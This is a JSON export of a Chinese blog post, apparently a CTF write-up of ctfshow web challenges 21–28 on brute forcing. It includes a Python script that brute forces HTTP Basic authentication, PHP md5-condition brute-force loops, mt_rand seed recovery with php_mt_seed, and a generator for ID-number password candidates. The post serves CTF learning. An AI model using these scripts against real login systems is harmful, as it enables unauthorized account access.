{"id":164,"date":"2022-05-25T00:51:36","date_gmt":"2022-05-24T16:51:36","guid":{"rendered":"http:\/\/162.14.82.114\/?p=164"},"modified":"2022-09-14T01:05:30","modified_gmt":"2022-09-13T17:05:30","slug":"%e3%80%90ctfshow%e3%80%91web%e5%85%a5%e9%97%a8-%e7%88%86%e7%a0%b4","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/164\/05\/25\/2022\/","title":{"rendered":"\u3010ctfshow\u3011WEB\u5165\u95e8\u2014\u2014\u7206\u7834"},"content":{"rendered":"

\"image-20220525004716636\"<\/div><\/p>\n

web21\u2014\u2014tomcat\u8ba4\u8bc1\u7206\u7834\u2014\u2014custom iterator<\/h2>\n
\u7206\u7834\u4ec0\u4e48\u7684\uff0c\u90fd\u662f\u57fa\u64cd<\/code><\/pre>\n
\u6253\u5f00\u73af\u5883\uff1a<\/p>\n
\"image-20220522124047924\"<\/div><\/p>\n
\u6253\u5f00\u9644\u4ef6\uff0c\u662f\u4e00\u4e2azip<\/code>\uff0c\u89e3\u538b\u4e00\u4e0b\uff1a<\/p>\n
\"image-20220522124346576\"<\/div><\/p>\n
\u6253\u5f00 burpsuite \u8fdb\u884c\u914d\u7f6e\uff1a<\/p>\n
\u770b\u5230\u4e00\u4e2a\u5947\u602a\u7684\u4e1c\u897f\uff1a<\/p>\n
\"image-20220522124814500\"<\/div><\/p>\n
\u5c31\u662f\u8fd9\u4e2a\uff1aAuthorization: Basic YWRtaW46cGFzc3dvcmQ=<\/code><\/pre>\n
\u5728\u7ebf\u89e3\u7801\u4e00\u4e0b\uff1a<\/p>\n
\"image-20220522125048147\"<\/div><\/p>\n
\u6b63\u662f\u6211\u4e4b\u524d\u8f93\u5165\u7684\u8d26\u53f7\u5bc6\u7801\uff0c\u53ef\u4ee5\u53d1\u73b0\u6570\u636e\u662f\u7531==\u8d26\u53f7+\uff1a+\u5bc6\u7801\u751f\u6210\u7684==<\/p>\n
\u5f00\u59cb\u914d\u7f6e\uff1a<\/p>\n
\"image-20220522130124416\"<\/div><\/p>\n
\u518d\u914d\u7f6e\u7b2c\u4e8c\u4e2a\u4f4d\u7f6e\uff0c\u7b2c\u4e09\u4e2a\u4f4d\u7f6e\uff1a<\/p>\n
\"image-20220522130156739\"<\/div>
\n
\"image-20220522130243513\"<\/div><\/p>\n
\u6700\u540e\u518d\u7f16\u4e2a\u7801\u5c31\u884c\u4e86\uff1a<\/p>\n
\"image-20220522130658290\"<\/div><\/p>\n
==\u5f53\u7136\u8fd9\u91cc\u8bbe\u7f6e\u8fed\u4ee3\u5668\u7684\u65f6\u5019\u8bbe\u7f6e admin: \u548c\u5b57\u5178\u4e5f\u662f\u53ef\u4ee5\u7684==<\/p>\n
\u7b49\u4e86\u4e00\u4f1a\u4ee5\u540e\uff0c\u53ef\u4ee5\u770b\u5230\u6709\u4e00\u4e2a\u8fd4\u56de\u957f\u5ea6\u5f02\u5e38<\/del>\uff0c\u6ca1\u7206\u7834\u51fa\u6765\uff1f\uff1f\uff1f\uff1f<\/p>\n
\u4f1a\u4e0d\u4f1a\u662f\u7b26\u53f7\u4f7f\u7528\u7684\uff1a<\/code>\u800c\u4e0d\u662f:<\/code>\uff0c\u6539\u4e00\u4e0b\u770b\u770b\uff0c\u8fd8\u662f\u7206\u7834\u4e0d\u51fa\u6765\uff1f\u6211\u4e3a\u4e86\u7701\u65f6\u95f4\u76f4\u63a5\u624b\u52a8\u6dfb\u52a0\u4e86\u4e00\u4e0b\uff0c\u7ed9\u6211\u6574\u65e0\u8bed\u4e86\u3002\u3002<\/p>\n
\"image-20220522133723677\"<\/div><\/p>\n
\u7136\u540e\u624b\u52a8\u6dfb\u52a0\u53ea\u6709\u4e00\u4e2a\u5bc6\u7801\uff1ashark63\u53c8\u884c\u4e86\uff0c\u54c8\u54c8\u54c8\u3002<\/p>\n
\"image-20220522133620837\"<\/div><\/p>\n
\u77e5\u9053\u95ee\u9898\u6240\u5728\u4e86\uff0c\u7ebf\u7a0b\u6570\u8bbe\u7f6e\u9ad8\u4e86\uff0c\u6539\u4e00\u4e0b\u7ebf\u7a0b\uff1a<\/p>\n
\"image-20220522134059262\"<\/div><\/p>\n
\u51fa\u6765\u4e86\uff1a<\/p>\n
\"image-20220522134133083\"<\/div><\/p>\n
\u5bf9\u4e00\u4e0b\uff0c\u6ca1\u9519\u5c31\u662f\u8fd9\u4e2a\uff01\uff01\uff01<\/p>\n
\"image-20220522132407064\"<\/div><\/p>\n
\u5f53\u7136\uff0c\u4e5f\u53ef\u4ee5\u9009\u62e9\u81ea\u5df1\u7f16\u5199\u811a\u672c\uff0cctfshow\u63d0\u4f9b\u4e86\u4e00\u4e2a\u811a\u672c\uff1a<\/p>\n
# -*- coding: utf-8 -*-\n# @Author: h1xa\n# @Date:   2020-11-20 19:16:49\n# @Last Modified by:   h1xa\n# @Last Modified time: 2020-11-20 20:28:42\n# @email: h1xa@ctfer.com\n# @link: https:\/\/ctfer.com\nimport time\nimport requests\nimport base64\nurl = 'http:\/\/41a801fe-a420-47bc-8593-65c3f26b7efa.chall.ctf.show\/index.php' #\u8981\u7206\u7834\u7684\u7f51\u7ad9\npassword = []\nwith open("1.txt", "r") as f:     #\u5b57\u5178\n    while True:\n        data = f.readline() \n        if data:\n            password.append(data)\n        else:\n          break\nfor p in password:\n    strs = 'admin:'+ p[:-1]\n    header={\n        'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8')) #\u6784\u9020\u8fed\u4ee3\u5668\n    }\n    rep =requests.get(url,headers=header)\n    time.sleep(0.2)\n    if rep.status_code ==200:  #\u8fd4\u56de\u503c\u4e3a200\n        print(rep.text)\n        break<\/code><\/pre>\n
web22\u2014\u2014\u7206\u7834\u5b50\u57df\u540d<\/h2>\n
\u57df\u540d\u4e5f\u53ef\u4ee5\u7206\u7834\u7684\uff0c\u8bd5\u8bd5\u7206\u7834\u8fd9\u4e2actf.show\u7684\u5b50\u57df\u540d\n\u57df\u540d\u66f4\u65b0\u540e\uff0cflag.ctf.show\u57df\u540d\u5931\u6548\n\u5185\u5bb9\u662fflag{ctf_show_web}<\/code><\/pre>\n
\u770b\u5230\u9898\u76ee\u6709\u63d0\u793a\u4e86\uff0c\u57df\u540d\u5931\u6548\u4e86\uff0c\u968f\u4fbf\u626b\u4e00\u4e0b\u6ca1\u6709\u5c31\u76f4\u63a5\u4f7f\u7528 flag \u4e86\uff01<\/p>\n
\"image-20220523125304217\"<\/div><\/p>\n
web23\u2014\u2014md5\u503c\u7206\u7834<\/h2>\n
\u8fd8\u7206\u7834\uff1f\u8fd9\u4e48\u591a\u4ee3\u7801\uff0c\u544a\u8f9e\uff01<\/code><\/pre>\n
\u6253\u5f00\u73af\u5883\uff1a<\/p>\n
<?php\n\/*\n# -*- coding: utf-8 -*-\n# @Author: h1xa\n# @Date:   2020-09-03 11:43:51\n# @Last Modified by:   h1xa\n# @Last Modified time: 2020-09-03 11:56:11\n# @email: h1xa@ctfer.com\n# @link: https:\/\/ctfer.com\n*\/\nerror_reporting(0);\ninclude('flag.php');\nif(isset($_GET['token'])){\n    $token = md5($_GET['token']);\n    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){\n        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))\/substr($token, 1,1)===intval(substr($token, 31,1))){\n            echo $flag;\n        }\n    }\n}else{\n    highlight_file(__FILE__);\n}\n?><\/code><\/pre>\n
\u7f16\u5199\u4e00\u4e2a\u811a\u672c\u627e\u5230\u7b26\u5408\u8981\u6c42\u7684\u6570\uff1a<\/p>\n
<?php\n$token='123';\nwhile(true){\n    $t=$token;\n    $token=md5($token);\n    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){\n        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))\/substr($token, 1,1)===intval(substr($token, 31,1))){\n            echo "over!"."<br>";\n            echo $t;\n            break;\n        }\n    }\n}\nhighlight_file(__FILE__);\n?><\/code><\/pre>\n
\u8fd0\u884c\u4ee5\u540eget\u63d0\u4ea4token\u53c2\u6570<\/code>\u5373\u53ef\u3002<\/p>\n
\"image-20220523203656434\"<\/div><\/p>\n
web24\u2014\u2014mt_srand\u751f\u6210\u4f2a\u968f\u673a\u6570<\/h2>\n
\u7206\u4e2a\ud83d\udd28<\/code><\/pre>\n
\u6253\u5f00\u73af\u5883\u53d1\u73b0\uff1a<\/p>\n
<?php\n\/*\n# -*- coding: utf-8 -*-\n# @Author: h1xa\n# @Date:   2020-09-03 13:26:39\n# @Last Modified by:   h1xa\n# @Last Modified time: 2020-09-03 13:53:31\n# @email: h1xa@ctfer.com\n# @link: https:\/\/ctfer.com\n*\/\nerror_reporting(0);\ninclude("flag.php");\nif(isset($_GET['r'])){\n    $r = $_GET['r'];\n    mt_srand(372619038);\n    if(intval($r)===intval(mt_rand())){\n        echo $flag;\n    }\n}else{\n    highlight_file(__FILE__);\n    echo system('cat \/proc\/version');\n}\n?> Linux version 5.4.0-110-generic (buildd@ubuntu) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #124-Ubuntu SMP Thu Apr 14 19:46:19 UTC 2022 Linux version 5.4.0-110-generic (buildd@ubuntu) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #124-Ubuntu SMP Thu Apr 14 19:46:19 UTC 2022<\/code><\/pre>\n
\u548c\u4f2a\u968f\u673a\u6570\u6709\u5173\u7cfb\uff1a<\/p>\n
\n
mt_srand()<\/code> \/\/\u64ad\u79cd==Mersenne Twister \u968f\u673a\u6570\u751f\u6210\u5668==\u3002 <\/p>\n
mt_rand()<\/code>   \/\/\u751f\u6210\u968f\u673a\u6570<\/p>\n
\u7b80\u5355\u6765\u8bf4mt_srand()<\/code>\u901a\u8fc7\u5206\u53d1seed\u79cd\u5b50\uff0c\u7136\u540e\u79cd\u5b50\u6709\u4e86\u540e\uff0c\u9760mt_rand()<\/code>\u751f\u6210\u968f\u673a\u6570\u3002<\/p>\n
\u66f4\u591a\u67e5\u770b\uff1aphp\u4f2a\u968f\u673a\u6570<\/a><\/p>\n<\/blockquote>\n
\u67e5\u770b\u54cd\u5e94\u5934\u786e\u5b9a php \u7248\u672c\uff1a<\/p>\n
\"image-20220524145008745\"<\/div>
\n
\"image-20220524140421594\"<\/div><\/p>\n
get\u4f20\u53c2<\/code><\/p>\n
\"image-20220524140514356\"<\/div><\/p>\n
Hint\u5185\u5bb9\uff1a<\/p>\n
#\u53c2\u8003PHP\u968f\u673a\u6570\u7684\u4f2a\u968f\u673a\u6570 mt_srand(seed); \u51fd\u6570\u64ad\u79cd Mersenne Twister \u968f\u673a\u6570\u751f\u6210\u5668\u3002seed,\u53ef\u9009\u3002\u89c4\u5b9a\u64ad\u79cd\u503c\n<?php\n\/\/Firebasky\nerror_reporting(0);\n$a="1234567890zxcvbnmlkjhgfdsaqwertyuiop";\/\/\u5b57\u5178\nfor($i=0;$i<36;$i++){\nfor($j=0;$j<36;$j++){\n$token=$a[$i].$a[$j];\n\/\/ echo md5($token)."\\n";\n$token = md5($token);\nif(substr($token, 1,1)===substr($token, 14,1) && substr($token,\n14,1) ===substr($token, 17,1)){\nif((intval(substr($token, 1,1))+intval(substr($token,\n14,1))+substr($token, 17,1))\/substr($token, 1,1)===intval(substr($token,\n31,1))){\necho "success"."\\n";\necho $a[$i].$a[$j];\nexit(0);\n}\n}\n}\n} ?\n>\n#coding: utf-8\n#\u554a\u97ec\nimport hashlib\ndic = '0123456789qazwsxedcrfvtgbyhnujmikolp'\nmd5 = hashlib.md5(dic).hexdigest()\nfor a in dic:\nfor b in dic:\nt = str(a)+str(b)\nmd5 = hashlib.md5(t).hexdigest()\n#print md5\n#print md5[1:2]\n#print md5[14:15]\n#print md5[17:18]\nif md5[1:2] == md5[14:15] and md5[14:15]== md5[17:18]:\nprint t\nprint md5\nprint md5[1:2]\nprint md5[14:15]\nprint md5[17:18]\n#mt_scrand(seed)\u8fd9\u4e2a\u51fd\u6570\u7684\u610f\u601d\uff0c\u662f\u901a\u8fc7\u5206\u53d1seed\u79cd\u5b50\uff0c\u7136\u540e\u79cd\u5b50\u6709\u4e86\u540e\uff0c\u9760mt_rand()\u751f\u6210\u968f\u673a \u6570\u3002 \u63d0\u793a\uff1a\u4ece PHP 4.2.0 \u5f00\u59cb\uff0c\u968f\u673a\u6570\u751f\u6210\u5668\u81ea\u52a8\u64ad\u79cd\uff0c\u56e0\u6b64\u6ca1\u6709\u5fc5\u8981\u4f7f\u7528\u8be5\u51fd\u6570 \u56e0\u6b64\u4e0d\u9700\u8981\u64ad\u79cd\uff0c\u5e76\u4e14\u5982\u679c\u8bbe\u7f6e\u4e86 seed\u53c2\u6570 \u751f\u6210\u7684\u968f\u673a\u6570\u5c31\u662f\u4f2a\u968f\u673a\u6570\uff0c\u610f\u601d\u5c31\u662f\u6bcf\u6b21\u751f\u6210\u7684\u968f\u673a\u6570 \u662f\u4e00\u6837\u7684<\/code><\/pre>\n
\u4e0d\u5f97\u4e0d\u8bf4\u505a\u9898\u8fd8\u662f\u624b\u7f16\u811a\u672c\u6bd4\u8f83\u5e05\u3002\u3002\u3002\u3002<\/p>\n
web25\u2014\u2014\u4f2a\u968f\u673a\u6570\u751f\u6210\u7206\u7834<\/h2>\n
\u7206\u4e2a\ud83d\udd28\uff0c\u4e0d\u7206\u4e86<\/code><\/pre>\n
\u6253\u5f00\u73af\u5883\uff1a<\/p>\n
<?php\n\/*\n# -*- coding: utf-8 -*-\n# @Author: h1xa\n# @Date:   2020-09-03 13:56:57\n# @Last Modified by:   h1xa\n# @Last Modified time: 2020-09-03 15:47:33\n# @email: h1xa@ctfer.com\n# @link: https:\/\/ctfer.com\n*\/\nerror_reporting(0);\ninclude("flag.php");\nif(isset($_GET['r'])){\n    $r = $_GET['r'];\n    mt_srand(hexdec(substr(md5($flag), 0,8)));\n    $rand = intval($r)-intval(mt_rand());\n    if((!$rand)){\n        if($_COOKIE['token']==(mt_rand()+mt_rand())){\n            echo $flag;\n        }\n    }else{\n        echo $rand;\n    }\n}else{\n    highlight_file(__FILE__);\n    echo system('cat \/proc\/version');\n}\nLinux version 5.4.0-110-generic (buildd@ubuntu) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #124-Ubuntu SMP Thu Apr 14 19:46:19 UTC 2022 Linux version 5.4.0-110-generic (buildd@ubuntu) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #124-Ubuntu SMP Thu Apr 14 19:46:19 UTC 2022<\/code><\/pre>\n
\u4ee3\u7801\u5ba1\u8ba1\u4ee5\u540e\u4f20\u5165\u4e00\u4e2a\u53c2\u6570\/?r=0<\/code>\u8f93\u51fa$rand<\/code>\u7684\u503c\uff1a<\/p>\n
\"image-20220524152838464\"<\/div><\/p>\n
$rand<\/code>\u7b49\u4e8emt_rand()\u7684\u503c<\/code>\uff0c\u4f7f\u7528\u5de5\u5177\uff1aphp_mt_seed<\/a>\uff1a<\/p>\n
git clone https:\/\/github.com\/openwall\/php_mt_seed.git\ncd php_mt_seed\/\nmake\n.\/php_mt_seed 1047588218<\/code><\/pre>\n
\u5f53\u7136\u8fd9\u91cc\u4e5f\u53ef\u4ee5\u4e0d\u4f7f\u7528\u5de5\u5177\uff0c\u50cfCr4zysong11<\/a>\u5e08\u5085\u4e00\u6837\u7f16\u5199\u811a\u672c\u4e5f\u80fd\u6709\u6548\u89e3\u51b3\uff1a<\/p>\n
\"img\"<\/div><\/p>\n
\u6700\u540e\uff1a<\/p>\n
\"image-20220524153026823\"<\/div><\/p>\n
\u67e5\u770b\u8bf7\u6c42\u5934\u53d1\u73b0 php \u7248\u672c\u4e3a7.x<\/code>\uff0c\u9009\u4e00\u4e2a\u79cd\u5b50\uff1a3090963496<\/code><\/p>\n
<?php\nmt_srand(1858379755);\necho mt_rand()."\\n";\n$result = mt_rand()+mt_rand();\necho $result;<\/code><\/pre>\n
\"image-20220524153107245\"<\/div><\/p>\n
\u8f93\u51fa\u7ed3\u679c\u4e0a\u9762\u662f\u53c2\u6570\uff0c\u4e0b\u9762\u662ftoken\u503c\uff0c\u7136\u540e\u3002\u3002\u3002\u3002\u6211\u88c2\u5f00\uff0c\u505a\u4e00\u534a\u5bb9\u5668\u8fc7\u671f\u4e86\uff0ckao<\/p>\n
\u91cd\u65b0\u52a0\u8f7d\u5bb9\u5668\uff0c\u7136\u540e\u7f16\u8f91cookie\u548cget\u53c2\u6570\u5f97\u5230flag<\/code>\uff0c\u8fd9\u91cc\u53ef\u4ee5\u4f7f\u7528burp<\/code>\u6216\u8005EditThisCookie<\/code>\u63d2\u4ef6\u90fd\u53ef\u4ee5\u3002<\/p>\n
\"image-20220524153402988\"<\/div><\/p>\n
\u63d2\u4ef6\u6211\u6ca1\u8bd5\u6210\u529f\uff0c\u4e0d\u77e5\u9053\u4e3a\u5565\uff0c\u7406\u8bba\u4e0a\u5e94\u8be5\u662f\u53ef\u4ee5\u7684\u3002<\/p>\n
\n
hint\u5185\u5bb9\uff1a<\/p>\n
https:\/\/www.openwall.com\/php_mt_seed\/<\/a><\/p>\n
https:\/\/www.cnblogs.com\/zaqzzz\/p\/9997855.html<\/a> <\/p>\n
mt_scrand(seed)\u8fd9\u4e2a\u51fd\u6570\u7684\u610f\u601d\uff0c\u662f\u901a\u8fc7\u5206\u53d1seed\u79cd\u5b50\uff0c\u7136\u540e\u79cd\u5b50\u6709\u4e86\u540e\uff0c\u9760mt_rand()\u751f\u6210\u968f\u673a \u6570\u3002 \u5728\u4e4b\u524d\u81ea\u5df1\u8fd8\u4ee5\u4e3a\u9700\u8981\u66b4\u529b\u7834\u89e3cookie,\u6700\u540e\u5e08\u5085\u4eec\u7ed9\u6211\u4ecb\u7ecd\u4e86\u4e00\u4e2a\u811a\u672c\uff0c\u4e13\u95e8\u7528\u6765\u8dd1mt_srand()\u79cd\u5b50\u548c mt_rand()\u968f\u673a\u6570\u7684 \u8fd9\u91cc\u81ea\u5df1\u89e3\u91ca\u4e00\u4e0b\u4e3a\u4ec0\u4e48\u6bcf\u4e00\u6b21\u7684mt_rand()+mt_rand()\u4e0d\u662f\u7b2c\u4e00\u6b21\u7684\u968f\u673a\u6570\u76f8\u52a0\uff1f\uff1f \u56e0\u4e3a\u751f\u6210\u7684\u968f\u673a\u6570\u53ef\u4ee5\u8bf4\u662f\u4e00\u4e2a\u7ebf\u6027\u53d8\u6362\uff08\u5b9e\u9645\u4e0a\u975e\u5e38\u590d\u6742\uff09\u7684\u6bcf\u4e00\u6b21\u7684\u786e\u5b9a\u7684\u4f46\u662f\u6bcf\u4e00\u6b21\u662f\u4e0d\u4e00\u6837\u7684\uff0c\u6240\u4ee5\u4e0d\u80fd \u8fdb\u884c\u7b2c\u4e00\u6b21*2\u5c31\u5f97\u5230mt_rand()+mt_rand() \u4f7f\u7528\u8bf4\u53ea\u8981\u6211\u4eec\u5f97\u5230\u79cd\u5b50\u5c31\u53ef\u4ee5\u5728\u672c\u5730\u8fdb\u884c\u83b7\u5f97\u81ea\u5df1\u60f3\u8981\u7684\u503c \u89e3\u9898\uff1a\u901a\u8fc7\u968f\u673a\u6570\u6765\u5bfb\u627e\u79cd\u5b50 \u6211\u4eec\u8ba9 ?r=0 \u5f97\u5230\u968f\u673a\u6570\u3002\u8fd9\u91cc\u6211\u5f97\u5230\u7684\u662f 183607393 \u6bcf\u4e00\u6b21\u4e0d\u4e00\u6837(\u56e0\u4e3aflag\u503c\u5728\u53d8\u5316) \u7136\u540e\u4e0b\u8f7d php_mt_seed4.0 \u6211\u4eec\u5728linux\u4e0b\u9762\u4f7f\u7528 gcc\u8fdb\u884c\u7f16\u8bd1 gcc php_mt_seed.c -o php_mt_seed \u4e4b\u540e\u8fd0\u884c\u811a\u672c\u6dfb\u52a0\u968f\u673a\u6570 .\/php_mt_seed 183607393<\/p>\n
\u627e\u5230\u5bf9\u5e94\u7684\u7248\u672c\u8fd9\u91cc\u81ea\u5df1\u7684\u8fd0\u6c14\u597d\u7b2c\u4e00\u4e2a\u51fa\u6765\u7684\u81ea\u5df1\u9a8c\u8bc1\u4e86\u4e00\u4e0b\u53d1\u73b0\u5c31\u662f\u8fd9\u4e2a \u6ce8\uff1a\u53ef\u80fd\u5b58\u5728\u591a\u4e2a\u79cd\u5b50\u9700\u8981\u81ea\u5df1\u8fdb\u884c\u5224\u65ad \u901a\u8fc7\u79cd\u5b50\u627e\u5230\u7b2c\u4e00\u4e2a\u968f\u673a\u6570\u5c31\u662f\u4e0a\u9762\u7684\u968f\u673a\u6570\u3002<\/p>\n<\/blockquote>\n
web26\u2014\u2014\u5b57\u5178\u7206\u7834\u5bc6\u7801<\/h2>\n
\u8fd9\u4e2a\u53ef\u4ee5\u7206<\/code><\/pre>\n
\u6253\u5f00\u73af\u5883\uff1a<\/p>\n
\"image-20220524213117690\"<\/div><\/p>\n
\u70b9\u51fb\u7ee7\u7eed\uff1a<\/p>\n
\"image-20220524213208806\"<\/div><\/p>\n
\u6309\u7167\u9898\u76ee\u8bf4\u7684\u76f4\u63a5\u7206\u7834\uff1a<\/p>\n
\"image-20220524214430076\"<\/div><\/p>\n
\u76f4\u63a5\u4f7f\u7528\u4e4b\u524dweb21<\/code>\u7ed9\u7684\u90a3\u4e2a\u4e07\u80fd\u5b57\u5178\uff0c\u5466\u5475\uff0c\u6ca1\u626b\u51fa\u6765\u3002\u3002\u3002\u53d1\u73b0\u662f\u7ebf\u7a0b\u8bbe\u9ad8\u4e86\uff0c\u8c03\u4e00\u4e0b\u5c31\u51fa\u6765\u4e86\uff1a<\/p>\n
\"image-20220524215728163\"<\/div><\/p>\n
web27\u2014\u2014\u5229\u7528\u5df2\u77e5\u4fe1\u606f\u8fdb\u884c\u7206\u7834<\/h2>\n
\u4f7f\u7528Chrome\u6d4f\u89c8\u5668\u6293\u5305\uff0c\u8fdb\u884c\u66b4\u529b\u7834\u89e3\u5bc6\u7801<\/code><\/pre>\n
\u6253\u5f00\u73af\u5883\uff1a<\/p>\n
\"image-20220524220433026\"<\/div><\/p>\n
\u5f55\u53d6\u540d\u5355\u662f\u53ef\u4ee5\u4e0b\u8f7d\u7684\uff0c\u76f4\u63a5\u4e0b\u8f7d\u4e0b\u6765\u770b\u770b\uff1a<\/p>\n
\"image-20220524220307240\"<\/div><\/p>\n
\u51fa\u751f\u5e74\u6708\u88ab\u9690\u85cf\u6389\u4e86\uff0c\u8fd8\u6709\u4e2a\u5b66\u7c4d\u4fe1\u606f\u67e5\u8be2\u7cfb\u7edf\uff0c\u6253\u5f00\u770b\u4e00\u4e0b\uff1a<\/p>\n
\"image-20220524220550587\"<\/div><\/p>\n
\u7206\u7834\u4e00\u4e0b\uff0c\u9760\uff0c\u600e\u4e48\u53c8\u5fd8\u4e86\u8bbe\u7ebf\u7a0b\u4e86<\/del>\u5403\u4e00\u5811\uff0c\u957f\u4e00\u667a\uff0c\u6211\u4eec\u63d0\u524d\u8bbe\u7f6e\u597d\u7ebf\u7a0b\u6570\uff1a<\/p>\n
\"image-20220524221631243\"<\/div><\/p>\n
\u5c06\u8fd4\u56de\u4fe1\u606fASCII\u89e3\u7801<\/code>\u4e00\u4e0b\uff1a<\/p>\n
\"image-20220524222001066\"<\/div><\/p>\n
\u767b\u9646\u4e00\u4e0b\uff0c\u8fd9\u91cc\u503c\u5f97\u4e00\u8bf4\u7684\u662f\uff0c\u4e0d\u662f\u5728\u5f55\u53d6\u67e5\u8be2\u754c\u9762\u767b\u5f55\uff0c\u6211\u5c31\u662f\u50bb\u903c\uff0c\u6b63\u5e38\u662f\u8fd9\u6837\u662f\u5427\uff1a<\/p>\n
\"image-20220524223018409\"<\/div><\/p>\n
\u6211\u5c45\u7136\u628a\u5b66\u53f7\u5f53\u4f5c\u8eab\u4efd\u8bc1\u4e2d\u95f4\u7684\u90a3\u90e8\u5206\u4e86\uff0c\u7136\u540e\u548c\u50bb\u903c\u4e00\u6837\u767b\u5f55\u4e86\u597d\u51e0\u6b21\u3002\u3002\u3002\u3002\u76f4\u63a5\u767b\u5f55\u5f97\u5230flag\uff1a<\/p>\n
\"image-20220524223147927\"<\/div><\/p>\n
#Hint\uff1a\n<?php\n\/\/621022********5237\n$myfile = fopen("zid.txt", "w") or die("Unable to open file!");\nfor($year=1990;$year<1993;$year++){\nfor($mon=1;$mon<10;$mon++){\nfor($day=01;$day<10;$day++)\n{\n$txt=('621022'.$year.'0'.$mon.'0'.$day.'5237')."\\n";\nfwrite($myfile, $txt);\n}\n}\n} f\nor($year=1990;$year<1993;$year++){\nfor($mon=1;$mon<10;$mon++){\nfor($day=10;$day<=31;$day++)\n{\n$txt=('621022'.$year."0".$mon.$day.'5237')."\\n";\nfwrite($myfile, $txt);\n}\n}\n} f\nor($year=1990;$year<1993;$year++){\nfor($mon=10;$mon<=12;$mon++){\nfor($day=10;$day<=31;$day++)\n{\n$txt=('621022'.$year.$mon.$day.'5237')."\\n";\nfwrite($myfile, $txt);\n}\n}\n} f\nor($year=1990;$year<1993;$year++){\nfor($mon=10;$mon<=12;$mon++){\nfor($day=01;$day<10;$day++)\n{\n$txt=('621022'.$year.$mon."0".$day.'5237')."\\n";\nfwrite($myfile, $txt);\n}\n}\n} f\nclose($myfile);<\/code><\/pre>\n
web28\u2014\u2014\u57df\u540d\u76ee\u5f55\u7206\u7834<\/h2>\n
\u5927\u6d77\u635e\u9488<\/code><\/pre>\n
\u6253\u5f00\u73af\u5883\uff1a<\/p>\n
\"image-20220524223406594\"<\/div><\/p>\n
\u67e5\u770b\u6e90\u4ee3\u7801\u53d1\u73b0\u6ca1\u4e1c\u897f\uff0cF12 \u770b\u5934\u6587\u4ef6\u548c\u6d41\u91cf\u4e5f\u90fd\u6b63\u5e38\uff0c\u518d\u89c2\u5bdf\u4e00\u4e0b\u672c\u9898\uff0c\u53d1\u73b0 url \u6709\u70b9\u610f\u601d\uff0c\u8054\u60f3\u5230\u662f\u7206\u7834\u4e3b\u9898\u7684\uff0c\u6240\u4ee5\u7206\u7834\u4e00\u4e0b\u8bd5\u8bd5\uff0c\u8fd9\u6b21\u771f\u7684\u63d0\u524d\u8bbe\u7f6e\u7ebf\u7a0b\u4e86\uff01\uff01\uff01\uff01\uff01<\/p>\n
\"image-20220524224007522\"<\/div><\/p>\n
GET \/\u00a70\u00a7\/\u00a71\u00a7\/2.txt HTTP\/1.1<\/code><\/pre>\n
\"image-20220524230645180\"<\/div>
\n
\"image-20220524230720579\"<\/div><\/p>\n
\u7136\u540e\u5c31\u626b\u5230\u4e86<\/del>\uff1f\uff1f\uff1f\uff1f\u5565\u60c5\u51b5\uff0c\u601d\u8def\u5e94\u8be5\u6ca1\u95ee\u9898\u554a\uff0c\u770b\u4e86\u522b\u7684\u5e08\u5085\u7684wp\u662f\u4e00\u6837\u7684\u601d\u8def\u5440\uff0c\u770b\u4e00\u4e0bhint\uff1a<\/code><\/p>\n
\u901a\u8fc7\u66b4\u529b\u7834\u89e3\u76ee\u5f55\/0-100\/0-100\/\u770b\u8fd4\u56de\u6570\u636e\u5305\n\u7206\u7834\u7684\u65f6\u5019\u53bb\u63892.txt \u4ec5\u4ec5\u7206\u7834\u76ee\u5f55\u5373\u53ef<\/code><\/pre>\n
\u3002\u3002\u3002\u3002\u3002\u884c\u5427\uff0c\u518d\u8bd5\u4e00\u4e0b\uff1f\uff1f\uff1f\uff1f\uff1f\uff1f\u73af\u5883\u8fc7\u671f\u4e86\uff1f\u6211\u8981\u88c2\u5f00\u5566\uff01<\/p>\n
\u91cd\u542f\u73af\u5883\uff0c\u8fdb\u884c\u6b63\u786e\u914d\u7f6e\u5c31\u53ef\u4ee5\u626b\u5230\u4e86\uff01\uff01\uff01<\/p>\n
\"img\"<\/div>
\n
\"image-20220525004512440\"<\/div><\/p>\n","protected":false},"excerpt":{"rendered":"
web21\u2014\u2014tomcat\u8ba4\u8bc1\u7206\u7834\u2014\u2014custom iterator \u7206\u7834\u4ec0\u4e48\u7684\uff0c\u90fd\u662f\u57fa\u64cd \u6253\u5f00\u73af\u5883\uff1a \u6253\u5f00\u9644 […]<\/p>\n","protected":false},"author":1,"featured_media":133,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,18],"tags":[],"class_list":["post-164","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ctf-and-protest","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/164","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=164"}],"version-history":[{"count":2,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/164\/revisions"}],"predecessor-version":[{"id":272,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/164\/revisions\/272"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media\/133"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=164"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\